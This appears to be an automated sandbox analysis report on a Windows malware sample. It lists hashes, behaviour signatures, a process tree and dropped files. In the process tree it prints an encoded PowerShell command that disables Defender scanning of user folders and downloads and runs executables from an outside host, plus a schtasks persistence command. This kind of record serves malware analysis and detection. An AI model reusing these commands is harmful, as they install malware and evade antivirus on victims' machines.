Analysis

  • max time kernel
    111s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/01/2023, 19:07

General

  • Target

    b405694fbedc3ed57f486a0bd892fb48b2917d49.exe

  • Size

    360KB

  • MD5

    9c0c75bb31dfa46b2c91c12693bf45dd

  • SHA1

    b405694fbedc3ed57f486a0bd892fb48b2917d49

  • SHA256

    c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe

  • SHA512

    cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44

  • SSDEEP

    6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
    "C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:764
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3492
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1288
        • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
          "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:4892
          • C:\Windows\SysWOW64\schtasks.exe
            /C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"
            5⤵
            • Creates scheduled task(s)
            PID:3820
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 764 -s 268
      2⤵
      • Program crash
      PID:4912
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 764 -ip 764
    1⤵
      PID:2032

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

      Filesize

      1.4MB

      MD5

      b6bbab9f72c88d07b484cc339c475e75

      SHA1

      f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

      SHA256

      dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

      SHA512

      1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

    • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

      Filesize

      1.4MB

      MD5

      b6bbab9f72c88d07b484cc339c475e75

      SHA1

      f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

      SHA256

      dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

      SHA512

      1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

    • memory/1288-152-0x0000000007390000-0x000000000739E000-memory.dmp

      Filesize

      56KB

    • memory/1288-154-0x00000000073D0000-0x00000000073D8000-memory.dmp

      Filesize

      32KB

    • memory/1288-140-0x0000000004FA0000-0x00000000055C8000-memory.dmp

      Filesize

      6.2MB

    • memory/1288-141-0x00000000055D0000-0x00000000055F2000-memory.dmp

      Filesize

      136KB

    • memory/1288-142-0x0000000005770000-0x00000000057D6000-memory.dmp

      Filesize

      408KB

    • memory/1288-143-0x00000000057E0000-0x0000000005846000-memory.dmp

      Filesize

      408KB

    • memory/1288-144-0x0000000005E40000-0x0000000005E5E000-memory.dmp

      Filesize

      120KB

    • memory/1288-145-0x0000000007000000-0x0000000007032000-memory.dmp

      Filesize

      200KB

    • memory/1288-146-0x0000000070670000-0x00000000706BC000-memory.dmp

      Filesize

      304KB

    • memory/1288-147-0x0000000006400000-0x000000000641E000-memory.dmp

      Filesize

      120KB

    • memory/1288-148-0x00000000077A0000-0x0000000007E1A000-memory.dmp

      Filesize

      6.5MB

    • memory/1288-149-0x0000000007160000-0x000000000717A000-memory.dmp

      Filesize

      104KB

    • memory/1288-150-0x00000000071D0000-0x00000000071DA000-memory.dmp

      Filesize

      40KB

    • memory/1288-151-0x0000000007420000-0x00000000074B6000-memory.dmp

      Filesize

      600KB

    • memory/1288-139-0x0000000002850000-0x0000000002886000-memory.dmp

      Filesize

      216KB

    • memory/1288-156-0x00000000083D0000-0x0000000008974000-memory.dmp

      Filesize

      5.6MB

    • memory/1288-155-0x00000000074F0000-0x0000000007512000-memory.dmp

      Filesize

      136KB

    • memory/1288-153-0x00000000073E0000-0x00000000073FA000-memory.dmp

      Filesize

      104KB

    • memory/3492-133-0x0000000000530000-0x0000000000538000-memory.dmp

      Filesize

      32KB

    • memory/4892-160-0x00000000021DA000-0x00000000026DE000-memory.dmp

      Filesize

      5.0MB

    • memory/4892-161-0x00000000026EC000-0x0000000002829000-memory.dmp

      Filesize

      1.2MB

    • memory/4892-162-0x00000000021DA000-0x00000000026DE000-memory.dmp

      Filesize

      5.0MB

    • memory/4892-163-0x00000000026EC000-0x0000000002829000-memory.dmp

      Filesize

      1.2MB

    • memory/4892-164-0x000000000CA30000-0x000000000CA87000-memory.dmp

      Filesize

      348KB

    • memory/4892-165-0x000000000CA30000-0x000000000CA87000-memory.dmp

      Filesize

      348KB

    • memory/4892-166-0x000000000CA20000-0x000000000CA26000-memory.dmp

      Filesize

      24KB

    • memory/4892-169-0x00000000026EC000-0x0000000002829000-memory.dmp

      Filesize

      1.2MB